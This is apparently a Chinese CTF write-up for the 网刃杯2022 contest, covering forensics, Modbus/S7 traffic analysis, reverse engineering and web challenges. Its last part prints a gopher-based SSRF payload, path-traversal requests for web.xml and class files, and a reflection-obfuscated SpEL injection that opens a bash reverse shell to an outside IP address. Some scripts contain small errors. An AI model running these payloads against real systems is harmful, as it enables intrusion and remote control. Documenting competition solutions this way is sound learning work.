1、虚拟机加载硬盘
2、Magnet AXIOM收集信息发现了网页浏览历史中的特殊网址。
3、meiren.png中两次binwalk可以得到一个需要密码才能解压的zip,并且提示寻找戴围脖的软件。
4、尝试直接使用浏览历史中的qq号解压缩失败后,直接加这个qq的好友,找到了压缩密码的md5。
5、使用xiaomin520
解压压缩包,flag就在somethin.png
上
修复一下流量包头
头部长度不对,再改一下
可以正常打开:
单独导出modbus流量
然后分析
import pyshark
def get_code():
captures = pyshark.FileCapture("modbus.pcapng")
func_codes = {}
for c in captures:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code in func_codes:
func_codes[func_code] += 1
else:
func_codes[func_code] = 1
print(func_codes)
captures.close()
if __name__ == '__main__':
get_code()
#find_flag(6)
结果:
{1: 196, 3: 116, 6: 18}
含义:
0x01 读线圈
0x05 写单个线圈
0x0F 写多个线圈
0x02 读离散量输入
0x04 读输入寄存器
0x03 读保持寄存器
0x06 写单个保持寄存器
0x10 写多个保持寄存器
所以操作有 6 是写寄存器 3是读取
根据题目,Monkey是一家汽修厂的老板,日常喜欢改装车,但由于发动机的转速有上限,发动机最多能接受10000转/分钟的转速,Monkey在最新一次对发动机转速进行测试时发生了故障,机械师阿张排查时测试期间,有一些异常的流量,请根据阿张捕获的流量包分析发动机的转速达到了多少转才出现的故障,flag为flag{data+包号}
分析单个指令流量
import pyshark
def get_code():
captures = pyshark.FileCapture("modbus.pcapng")
func_codes = {}
for c in captures:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code in func_codes:
func_codes[func_code] += 1
else:
func_codes[func_code] = 1
print(func_codes)
captures.close()
if __name__ == '__main__':
#get_code()
find_flag(6)
结果:
00000000000601060001091d
161 *
00000000000601060001091d
162 *
0000000000060106000109fb
163 *
0000000000060106000109fb
164 *
00000000000601060001154f
165 *
00000000000601060001154f
166 *
000000000006010600011a0a
167 *
000000000006010600011a0a
168 *
000000000006010600011b39
185 *
000000000006010600011b39
186 *
000000000006010600011b35
187 *
000000000006010600011b35
188 *
000000000006010600012766
189 *
000000000006010600012766
190 *
00000000000601060001270f
191 *
00000000000601060001270f
192 *
0000000000060106000126cd
193 *
0000000000060106000126cd
194 *
000000000006010600012766 这个包的数据 超过了100000 转速为10086
所以在原来的流量包中找到这个包的编号为68156
flag为:flag{10086+68156} 还是flag{1008668156} 提交。
666c61677b7034757333313576337279316e7433726573746963397d
flag{p4us315v3ry1nt3restic9}
Vm0weGQxRXlTWGxVV0d4V1YwZFNVRlpyV25kWlZsSllZMFZrVmxKdVFsaFdNalZMWWtkS1IxTnFSbGhYU0VKNlZsWmFWMVpWTVVWaGVqQTk=
解几次base64得到密码Xyp77&7&77
过滤s7comm流量然后追踪tcp
找到下面有个字符串比较特殊
解密得到:
所以尝试提交:
flag{welcome_S7_world_xyp07}
启动时发现需要时间:
使用date命令设置时间,在启动还是不行
换到kali中去,看下设置时间后的时间,发现成功了
ida分析后发现处理流程中,是对单个字符进行处理,那就可以爆破。
摘出处理函数如下,再写个爆破的python脚本。可以跑出
flag{w3Lc0mE#t0+3NcrYPti0N:}
其中针对_有随机处理为 特殊字符,所以跑出的flag中替换一下尝试提交即可。
#include
#include
#include "idatypes.h"
char *xyp2(void)
{
return "ckagevdxizblqnwtmsrpufyhoj";
}
char *xyp3(void)
{
return "TMQZWKGOIAGLBYHPCRJSUXEVND";
}
__int64 encryption3(char a1)
{
unsigned __int8 v2; // [rsp+10h] [rbp+10h]
v2 = a1;
if ( (a1 <= 64 || a1 > 70) && (a1 <= 96 || a1 > 102) )
{
if ( (a1 <= 84 || a1 > 90) && (a1 <= 116 || a1 > 122) )
{
if ( (a1 <= 71 || a1 > 77) && (a1 <= 103 || a1 > 109) )
{
if ( (a1 <= 77 || a1 > 83) && (a1 <= 109 || a1 > 115) )
{
if ( a1 == 71 || a1 == 103 )
{
return (unsigned __int8)(a1 + 13);
}
else if ( a1 == 84 || a1 == 116 )
{
return (unsigned __int8)(a1 - 13);
}
else if ( a1 > 47 && a1 <= 57 )
{
return (unsigned __int8)(105 - a1);
}
}
else
{
return (unsigned __int8)(a1 - 6);
}
}
else
{
return (unsigned __int8)(a1 + 6);
}
}
else
{
return (unsigned __int8)(a1 - 20);
}
}
else
{
return (unsigned __int8)(a1 + 20);
}
return v2;
}
__int64 encryption2(char a1)
{
unsigned __int8 v2; // [rsp+30h] [rbp+10h]
v2 = a1;
if ( a1 <= 64 || a1 > 90 )
{
if ( a1 <= 96 || a1 > 122 )
{
if ( a1 > 47 && a1 <= 57 )
return (unsigned __int8)encryption3(a1);
}
else
{
return (unsigned __int8)encryption3(a1 - 32);
}
}
else
{
return (unsigned __int8)encryption3(a1 + 32);
}
return v2;
}
char * encryption(char *a1)
{
int v1; // eax
char v2; // al
char v3; // al
__int64 v4; // kr00_8
char v5; // al
char v6; // al
int v7; // eax
char v8; // al
char v9; // al
char v10; // al
char v11; // al
char v12; // al
char v14[1012]; // [rsp+20h] [rbp-60h] BYREF
int v15; // [rsp+414h] [rbp+394h]
const char *v16; // [rsp+418h] [rbp+398h]
const char *v17; // [rsp+420h] [rbp+3A0h]
int v18; // [rsp+42Ch] [rbp+3ACh]
char *v19; // [rsp+430h] [rbp+3B0h]
char *v20; // [rsp+438h] [rbp+3B8h]
v17 = xyp2(); // ckagevdxizblqnwtmsrpufyhoj
v16 = xyp3(); // TMQZWKGOIAGLBYHPCRJSUXEVND
v20 = v14;
v19 = a1;
v18 = 0;
v15 = 1;
while ( v18 < strlen(a1) )
{
//printf("---v19:%x\n",*v19);
if ( *v19 <= 0x40 || *v19 > 90 ) // 非大写
{
if ( *v19 <= 0x60 || *v19 > 122 ) // 非小写
{
if ( *v19 == '_' ) // 下划线
{
switch ( v15 + rand() % 7 )
{
case 0:
*v20 = ':';
break;
case 1:
*v20 = '&';
break;
case 2:
*v20 = '+';
break;
case 3:
*v20 = '*';
break;
case 4:
*v20 = '\\';
break;
case 5:
*v20 = '?';
break;
case 6:
*v20 = '$';
break;
case 7:
*v20 = '#';
break;
default:
break;
}
}
else if ( *v19 <= 0x2F || *v19 > 0x39 ) // 非数字 - 小写
{
*v20 = *v19;
}
else
{
v12 = encryption2(*v19); // 数字
*v20 = v12;
}
}
else // 小写字母
{
v7 = v18 % 4;
if ( v18 % 4 == 1 )
{
v9 = encryption2(v17[(*v19 - 'a') * (v18 % 4)]);
*v20 = v9;
}
else if ( v7 > 1 )
{
if ( v7 == 2 )
{
v10 = encryption2(v17[(*v19 - 97) ^ (v18 % 4)]);
*v20 = v10;
}
else if ( v7 == 3 )
{
v11 = encryption2(v17[*v19 - 97 + v18 % 4]);
*v20 = v11;
}
}
else if ( !v7 )
{
v8 = encryption2(v17[*v19 - 97 - v18 % 4]);
*v20 = v8;
}
}
}
else // 大写字母
{
v1 = v18 % 4;
if ( v18 % 4 == 1 )
{
v3 = encryption2(v16[*v19 - 65 + v18 % 4]);
*v20 = v3;
}
else if ( v1 > 1 )
{
if ( v1 == 2 )
{
v4 = v18 * (*v19 - 65);
v5 = encryption2(v16[(((HIDWORD(v4) >> 30) + (unsigned __int8)v18 * (*v19 - 65)) & 3) - (HIDWORD(v4) >> 30)]);
*v20 = v5;
}
else if ( v1 == 3 )
{
v6 = encryption2(v16[(*v19 - 65) ^ (v18 % 4)]);
*v20 = v6;
}
}
else if ( !v1 )
{
v2 = encryption2(v16[*v19 - 65 - v18 % 4]);
*v20 = v2;
}
}
++v18;
++v19;
++v20;
}
printf("%s\n",v14);
return v14;
}
const char *xyp1(void)
{
return "BRUF{E6oU9Ci#J9+6nWAhwMR9n:}";
}
int main()
{
const char *v3; // rax
char v5[1000]; // [rsp+20h] [rbp-60h] BYREF
char *Str1; // [rsp+408h] [rbp+388h]
sprintf(v5,"abc123");
while(1){
scanf("%s", v5);
Str1 = encryption(v5);
}
/*
printf("ret:%s\n",Str1);
v3 = xyp1();
if ( !strcmp(Str1, v3) )
puts("Gj!You Win!!!");
else
puts("Sry!You Lost!!!");
system("pause");
*/
return 0;
}
#encoding=utf-8
from pwn import *
r = process('/mnt/d/ctf/ti/网刃杯2022/re-ez_algorithm/e')
cc = b"BRUF{E6oU9Ci#J9+6nWAhwMR9n:}"
#BRUF{E6oU9Ci#J9+6nWAhwMR9n:}
import string
flag=''
for i in range(len(cc)):
for c in string.printable:
r.sendline(flag+c)
t = r.recvline()
if (t[i] == cc[i]):
print(c,t[i],cc[i])
flag +=c
break
print(flag)
r.interactive()
#flag{w3Lc0mE#t0+3NcrYPti0N:}
#flag{w3Lc0mE_t0_3NcrYPti0N_}
#flag{w3Lc0mE_t0_3NcrYPti0N:} 这个对
zip加密了查看注释,发现一堆16进制数。
使用 CyberChef 得到密码:
得到密码:3CF8
re_easy_func1.exe 主处理逻辑为:
for ( i = 0; i < v4; i += 2 )
Buffer[i] ^= 0x37u;
v6 = 0;
if ( v4 <= 0 )
goto LABEL_7;
do
{
v7 = *((_BYTE *)&v10 + v6);
v8 = Buffer[v6++];
}
while ( v6 < v4 )
re_easy_func是一个换表base64
脚本:
flag=[100, 113, 84, 84, 100, 120, 116, 120, 100, 65, 64, 72, 112, 109, 24, 74, 65, 120, 102, 114, 65, 120, 94, 78, 93, 82, 14, 61]
for i in range(0,len(flag),2):
flag[i] ^= 0x37
print(bytes(flag))
import base64
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' #标准表
b = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' #新表
c = 'SqcTSxCxSAwHGm/JvxQrvxiNjR9='
trantab = c.maketrans(b, a)
print(base64.b64decode(c.translate(trantab)))
#flag{we1come_t0_wrb}
from sympy import Symbol,solve
x = Symbol('x')
y = Symbol('y')
fx=4 * (3 * x / 9 - 9) - 4400
r = solve(fx,x)
print(r)
#3327
#2 * (y % 56) = 98
#y%56 = 49
#y = 49、105、。。。。
y = 105
import hashlib
print(hashlib.md5(b"3327105").hexdigest())
# flag{31a364d51abd0c8304106c16779d83b1}
打开网页:
highlight_file(__FILE__);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
这里可以进行SSRF,尝试直接file协议读取flag,失败,猜测当前机器没有flag,还有其他机器,读取路由表
?url=file:///proc/net/arp
发现其他机器,http取访问,发现一个特殊的机器
要求传入a,b参数,同时要求本地,从bolean.club,利用gopher协议
import urllib.parse
payload =
"""
POST /?a=1 HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club
b=1
"""
url = urllib.parse.quote(payload)
url = url.replace('%0A','%0D%0A')
res = 'gopher://172.73.26.100:80/'+'_'+url
res = urllib.parse.quote(result)
print(res)
得到flag:flag{Have_A_GoOd_T1m3!!!}
抓包修改type为ctf上传php文件,发现可以上传但不解析:
题目说了与sql有关,尝试在扩展名处加上单引号测试一下,结果引发sql报错
尝试报错注入
爆出upload库,使用sqlmap也可以到这,后续注入无法注出表名,用 select flag from flag试试发现可以出来部分flag:
另一半:
得到flag:flag{5937a0b90b5966939cccd369291c68aa}
存在文件下载,经过测试得到web.xml
?filename=../../../web.xml
发现 test388 与 download,下载对应的class文件
?filename=../../../classes/com/abc/servlet/TestServlet.class
?filename=../../../classes/com/abc/servlet/DownloadServlet.class
反编译后发现spel表达式注入,黑名单需要绕过
通过反射与字符串拼接绕过黑名单,payload
name=#{T(String).getClass().forName("ja"+va.l"+"ang.Ru"+"nt"+"ime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/150.158.181.145/2000 0>&1"})}
得到flag: flag{123awerghjvxcvcjfreawe}